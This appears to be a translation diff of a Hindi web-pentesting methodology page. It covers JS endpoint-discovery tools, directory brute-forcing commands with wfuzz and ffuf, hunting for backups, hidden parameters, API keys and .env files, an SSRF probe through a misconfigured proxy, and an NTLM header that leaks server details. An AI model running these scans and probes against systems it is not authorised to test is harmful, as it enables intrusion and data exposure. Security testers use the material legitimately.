- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify क्षमताओं के साथ जो JS फ़ाइलों में नए पाथ खोज सकता है। यह देखने लायक है [JSScanner](https://github.com/dark-warlord14/JSScanner) भी, जो LinkFinder का wrapper है।
|
||||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML स्रोत और एम्बेडेड जावास्क्रिप्ट फ़ाइलों में एंडपॉइंट्स निकालने के लिए। बग हंटर्स, रेड टीमर्स, इन्फोसेक निन्जाओं के लिए उपयोगी।
|
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML source और embedded javascript फाइलों से endpoints निकालने के लिए। bug hunters, red teamers, infosec ninjas के लिए उपयोगी।
|
||||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): एक पायथन 2.7 स्क्रिप्ट जो Tornado और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से सापेक्ष URL को पार्स करती है। AJAX अनुरोधों को आसानी से खोजने के लिए उपयोगी। ऐसा लगता है कि इसे बनाए नहीं रखा गया है।
|
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado और JSBeautifier का उपयोग कर JS फाइलों से relative URLs parse करने वाला python 2.7 स्क्रिप्ट। AJAX requests ढूँढ़ने में उपयोगी। लगता है unmaintained है।
|
||||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) दी गई है, यह निफ्टी नियमित अभिव्यक्ति का उपयोग करके उससे URL निकालता है ताकि वह सापेक्ष URL को खोज सके।
|
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): किसी फ़ाइल (HTML) दिए जाने पर nifty regular expressions का उपयोग कर minified फाइलों से relative URLs निकालता है।
|
||||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई उपकरण): कई उपकरणों का उपयोग करके JS फ़ाइलों से दिलचस्प जानकारी इकट्ठा करें।
|
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): कई tools का उपयोग करके JS फ़ाइलों से interesting जानकारी इकट्ठा करता है।
|
||||||
- [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलें खोजें।
|
- [**subjs**](https://github.com/lc/subjs) (go): JS फाइलें खोजता है।
|
||||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL को प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं।
|
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): headless browser में पेज लोड करता है और पेज लोड करने के लिए लोड होने वाले सभी urls प्रिंट करता है।
|
||||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): सामग्री खोज उपकरण जो पिछले उपकरणों के कई विकल्पों को मिलाता है।
|
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): content discovery tool जो कई विकल्पों को मिलाता है।
|
||||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन।
|
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में path और params खोजने के लिए एक Burp extension।
|
||||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो दी गई .js.map URL से आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
|
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): यह टूल .js.map URL दिए जाने पर beautified JS code ला देता है।
|
||||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग किसी दिए गए लक्ष्य के लिए एंडपॉइंट्स खोजने के लिए किया जाता है।
|
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): किसी target के लिए endpoints discover करने वाला टूल।
|
||||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करते हुए और अधिक लिंक की तलाश करते हुए)।
|
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine से links discover करता है (wayback के responses भी download कर के और अधिक links के लिए सर्च करता है)।
|
||||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी खोजें।
|
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (यहाँ तक कि forms भरकर भी) और specific regexes का उपयोग करके sensitive info भी खोजता है।
|
||||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है।
|
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक advance multi-feature GUI web security Crawler/Spider है जो cyber security professionals के लिए डिज़ाइन किया गया है।
|
||||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालता है।
|
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go package और [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो JavaScript source code से URLs, paths, secrets, और अन्य interesting data extract करता है।
|
||||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स निकालता है।**
|
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक simple **Burp Suite extension** है जो request से parameters और endpoints extract करके fuzzing और enumeration के लिए custom wordlist बनाता है।
|
||||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण।
|
- [**katana**](https://github.com/projectdiscovery/katana) (go): इस काम के लिए एक शानदार टूल।
|
||||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): यह हर लिंक को प्रिंट करता है जिसे यह खोजने में सक्षम है।
|
- [**Crawley**](https://github.com/s0rg/crawley) (go): यह जितने भी links ढूँढ सके उन्हें प्रिंट करता है।
|
||||||
|
|
||||||
### डाइरेक्टरी और फ़ाइलों पर ब्रूट फोर्स
|
### Brute Force directories and files
|
||||||
|
|
||||||
रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके पाए गए **सभी** **डायरेक्टरीज़** और **स्पाइडरिंग** द्वारा **खोजे गए** सभी डायरेक्टरीज़ पर ब्रूट-फोर्स करें (आप इस ब्रूट-फोर्सिंग को **पुनरावृत्त** कर सकते हैं और उपयोग की गई वर्डलिस्ट के शुरू में पाए गए डायरेक्टरीज़ के नाम जोड़ सकते हैं)।\
|
रूट फ़ोल्डर से **brute-forcing** शुरू करें और सुनिश्चित करें कि आप इस **method** का उपयोग करते हुए पाए गए सभी **directories** को brute-force करें और उन सभी directories को भी जो **Spidering** के दौरान **discovered** हुए हों (आप recursively brute-forcing कर सकते हैं और प्रयुक्त wordlist की शुरुआत में पाए गए directories के नाम append कर सकते हैं)।\
|
||||||
उपकरण:
|
Tools:
|
||||||
|
|
||||||
- **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावृत्त खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा।
|
- **Dirb** / **Dirbuster** - Kali में शामिल, **old** (और **slow**) लेकिन functional। auto-signed certificates और recursive search allow करता है। बाकी विकल्पों की तुलना में बहुत slow।
|
||||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति नहीं देता लेकिन** पुनरावृत्त खोज की अनुमति देता है।
|
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह auto-signed certificates allow नहीं करता पर recursive search allow करता है।
|
||||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति देता है, इसमें **पुनरावृत्त** खोज नहीं है।
|
- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह auto-signed certificates allow करता है, पर इसमें **recursive** search नहीं है।
|
||||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावृत्त खोज का समर्थन करता है।**
|
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||||
- [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाए गए URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए।
|
- [**uro**](https://github.com/s0md3v/uro) (python): यह spider नहीं है पर दिए गए found URLs की सूची से "duplicated" URLs हटाने का काम करता है।
|
||||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से डायरेक्टरीज़ की एक सूची बनाने के लिए बर्प एक्सटेंशन।
|
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension जो burp history से अलग pages के directories की सूची बनाने में मदद करता है।
|
||||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): कार्यक्षमताओं के साथ डुप्लिकेट URL को हटाएं (JS आयात के आधार पर)।
|
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js imports के आधार पर duplicated functionalities वाले URLs हटाता है।
|
||||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): यह उपयोग की गई तकनीकों का पता लगाने के लिए wapalyzer का उपयोग करता है और उपयोग करने के लिए वर्डलिस्ट का चयन करता है।
|
- [**Chamaleon**](https://github.com/iustin24/chameleon): यह wapalyzer का उपयोग कर उपयोग की गई technologies detect करता है और उपयुक्त wordlists चुनता है।
|
||||||
|
|
||||||
**अनुशंसित शब्दकोश:**
|
**Recommended dictionaries:**
|
||||||
|
|
||||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||||
- [**Dirsearch** शामिल शब्दकोश](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||||
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||||
- [Assetnote वर्डलिस्ट](https://wordlists.assetnote.io)
|
- [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||||
- raft-large-directories-lowercase.txt
|
- raft-large-directories-lowercase.txt
|
||||||
- directory-list-2.3-medium.txt
|
- directory-list-2.3-medium.txt
|
||||||
@ -267,83 +267,83 @@ SSL/TLS कमजोरियों के बारे में जानक
|
|||||||
- _/usr/share/wordlists/dirb/big.txt_
|
- _/usr/share/wordlists/dirb/big.txt_
|
||||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||||
|
|
||||||
_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया डायरेक्टरी खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
|
_नोट: जब भी Brute-forcing या spidering के दौरान कोई नया directory discover हो, उसे भी Brute-Force करना चाहिए।_
|
||||||
|
|
||||||
### प्रत्येक फ़ाइल पर क्या जांचें
|
### What to check on each file found
|
||||||
|
|
||||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML में टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
|
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTMLs के अंदर broken links खोजें जो takeover के लिए प्रवण हो सकते हैं।
|
||||||
- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप नामकरण के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का उपयोग भी कर सकते हैं।**
|
- **File Backups**: सभी फाइलें मिलने के बाद, executable files के backups ढूँढें ("_.php_", "_.aspx_"...)। backup नामकरण के सामान्य विकल्प हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप टूल [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) का भी उपयोग कर सकते हैं।
|
||||||
- **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग करके छिपे हुए पैरामीटर खोज सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
|
- **Discover new parameters**: छुपे हुए parameters discover करने के लिए आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) जैसे टूल्स का उपयोग कर सकते हैं। यदि संभव हो तो हर executable web file में hidden parameters खोजने की कोशिश करें।
|
||||||
- _Arjun सभी डिफ़ॉल्ट वर्डलिस्ट:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||||
- **टिप्पणियाँ:** सभी फ़ाइलों की टिप्पणियों की जांच करें, आप **क्रेडेंशियल्स** या **छिपी हुई कार्यक्षमता** पा सकते हैं।
|
- **Comments:** सभी फाइलों की comments चेक करें, वहाँ आपको **credentials** या **hidden functionality** मिल सकती है।
|
||||||
- यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** **पृष्ठ** के **दाईं** ओर टिप्पणियों के अंदर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नई पंक्तियाँ** का उपयोग करें और **पृष्ठ के नीचे** एक टिप्पणी में **जानकारी** छिपाएँ।
|
- यदि आप **CTF** खेल रहे हैं, तो एक सामान्य trick यह है कि पेज के source में comment के दाईं ओर बहुत सारी spaces का उपयोग करके (ताकि ब्राउज़र में source देखने पर दिखाई न दे) जानकारी **छुपाई** जाती है। एक अन्य तरीका कई नए lines का उपयोग करके पेज के नीचे comment में जानकारी छुपाना है।
|
||||||
- **API कुंजी**: यदि आप **कोई API कुंजी** पाते हैं, तो विभिन्न प्लेटफार्मों की API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
- **API keys**: अगर आपको कोई API key मिलती है तो विभिन्न प्लेटफ़ॉर्म्स की API keys का उपयोग कैसे करें इसके लिए गाइड हैं: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||||
- Google API कुंजी: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस API तक पहुँच सकती है।
|
- Google API keys: यदि कोई API key कुछ इस तरह दिखती है **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik तो आप यह जांचने के लिए [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) प्रोजेक्ट का उपयोग कर सकते हैं कि key किन APIs को access कर सकती है।
|
||||||
- **S3 बकेट**: स्पाइडरिंग करते समय देखें कि क्या कोई **सबडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट के **अनुमतियों** की जांच करें](buckets/index.html)।
|
- **S3 Buckets**: Spidering के दौरान देखें कि कोई **subdomain** या कोई **link** किसी S3 bucket से संबंधित तो नहीं है। ऐसी स्थिति में, [**check** the **permissions** of the bucket](buckets/index.html)।
|
||||||
|
|
||||||
### विशेष खोजें
|
### Special findings
|
||||||
|
|
||||||
**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे होते हैं, तो आप **दिलचस्प** **चीजें** पा सकते हैं जिन पर आपको **ध्यान देना चाहिए**।
|
**Spidering** और **brute-forcing** करते समय आपको कुछ **interesting** चीज़ें मिल सकती हैं जिनकी आपको **नोटिस** करनी चाहिए।
|
||||||
|
|
||||||
**दिलचस्प फ़ाइलें**
|
**Interesting files**
|
||||||
|
|
||||||
- **CSS** फ़ाइलों के अंदर अन्य फ़ाइलों के लिए **लिंक** की तलाश करें।
|
- CSS फाइलों के अंदर अन्य फ़ाइलों के लिए **links** खोजें।
|
||||||
- [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
|
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||||
- यदि आप एक _**.env**_ पाते हैं, तो API कुंजी, डेटाबेस पासवर्ड और अन्य जानकारी मिल सकती है।
|
- यदि आप _**.env**_ पाते हैं तो उसमें api keys, dbs passwords और अन्य जानकारी मिल सकती है।
|
||||||
- यदि आप **API एंडपॉइंट्स** पाते हैं, तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "ऐसी ही" दिखेंगी।
|
- यदि आपको **API endpoints** मिलते हैं तो आप [should also test them](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, पर ये फ़ाइलों जैसी दिख सकती हैं।
|
||||||
- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया है जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **हर JS फ़ाइल की निगरानी करना** दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
|
- **JS files**: spidering सेक्शन में कई tools बताए गए थे जो JS फाइलों से पाथ extract कर सकते हैं। इसके अलावा, यह उपयोगी होगा कि प्रत्येक JS फाइल की monitoring की जाए, क्योंकि कुछ मामलों में कोई बदलाव यह संकेत दे सकता है कि कोड में कोई संभावित vulnerability आई है। उदाहरण के लिए आप [**JSMon**](https://github.com/robre/jsmon) का उपयोग कर सकते हैं।
|
||||||
- आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजे गए JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह कमजोर है।
|
- आप discovered JS files को [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) से भी चेक करें कि क्या वे vulnerable हैं।
|
||||||
- **Javascript Deobfuscator और Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||||
- **JsFuck deobfuscation** (जावास्क्रिप्ट जो अक्षरों के साथ है: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||||
- कई अवसरों पर, आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
|
- कई मौकों पर आपको उपयोग किए गए regular expressions को समझने की आवश्यकता पड़ेगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||||
- आप उन फ़ाइलों की भी **निगरानी कर सकते हैं जहां फ़ॉर्म पाए गए थे**, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नई कमजोर कार्यक्षमता का संकेत दे सकता है।
|
- आप उन फाइलों की भी मॉनिटरिंग कर सकते हैं जहाँ forms detect हुए थे, क्योंकि parameter में कोई बदलाव या किसी नए form का आना किसी संभावित नई vulnerable functionality का संकेत दे सकता है।
|
||||||
|
|
||||||
**403 निषिद्ध/बेसिक प्रमाणीकरण/401 अनधिकृत (बायपास)**
|
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
403-and-401-bypasses.md
|
403-and-401-bypasses.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
**502 प्रॉक्सी त्रुटि**
|
**502 Proxy Error**
|
||||||
|
|
||||||
यदि कोई पृष्ठ **उस कोड के साथ प्रतिक्रिया करता है**, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
|
यदि किसी पेज का response उस कोड के साथ है, तो संभवतः यह एक गलत configured proxy है। यदि आप ऐसा HTTP request भेजते हैं: `GET https://google.com HTTP/1.1` (host header और अन्य सामान्य headers के साथ), तो proxy _google.com_ तक पहुँचने की कोशिश करेगा और आपको एक SSRF मिल सकता है।
|
||||||
|
|
||||||
**NTLM प्रमाणीकरण - जानकारी का खुलासा**
|
**NTLM Authentication - Info disclosure**
|
||||||
|
|
||||||
यदि चल रहा सर्वर प्रमाणीकरण के लिए पूछ रहा है **Windows** है या आप एक लॉगिन पाते हैं जो आपके **क्रेडेंशियल्स** के लिए पूछ रहा है (और **डोमेन** **नाम** के लिए पूछ रहा है), तो आप एक **जानकारी का खुलासा** कर सकते हैं।\
|
यदि running server authentication माँग रहा है और वह **Windows** है या आप किसी login को पाते हैं जो आपकी **credentials** माँग रहा है (और **domain** नाम भी माँग रहा है), तो आप एक **information disclosure** provoke कर सकते हैं।\
|
||||||
**हेडर भेजें**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
|
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` header भेजें और NTLM authentication के काम करने के तरीके के कारण, server "WWW-Authenticate" header के अंदर internal info (IIS version, Windows version...) के साथ respond करेगा।\
|
||||||
आप इस प्रक्रिया को **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके **स्वचालित** कर सकते हैं।
|
आप इसे automate करने के लिए **nmap plugin** "_http-ntlm-info.nse_" का उपयोग कर सकते हैं।
|
||||||
|
|
||||||
**HTTP रीडायरेक्ट (CTF)**
|
**HTTP Redirect (CTF)**
|
||||||
|
|
||||||
यह संभव है कि **रेडायरेक्शन** के अंदर **सामग्री** डाली जाए। यह सामग्री **उपयोगकर्ता को नहीं दिखाई देगी** (क्योंकि ब्राउज़र रीडायरेक्शन को निष्पादित करेगा) लेकिन वहाँ कुछ **छिपा** हो सकता है।
|
Redirection के अंदर content रखा जाना संभव है। यह content user को दिखाई नहीं देगा (क्योंकि browser redirection execute कर देगा) पर वहाँ कुछ छुपा हुआ हो सकता है।
|
||||||
|
|
||||||
### वेब कमजोरियों की जांच
|
### Web Vulnerabilities Checking
|
||||||
|
|
||||||
अब जब वेब एप्लिकेशन की एक व्यापक सूची बनाई गई है, तो संभावित कमजोरियों की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं:
|
अब जब web application की व्यापक enumeration हो चुकी है, तो कई संभावित vulnerabilities के लिए जाँच करने का समय है। आप checklist यहाँ पा सकते हैं:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
वेब कमजोरियों के बारे में अधिक जानकारी प्राप्त करें:
|
Web vulnerabilities के बारे में और जानकारी:
|
||||||
|
|
||||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
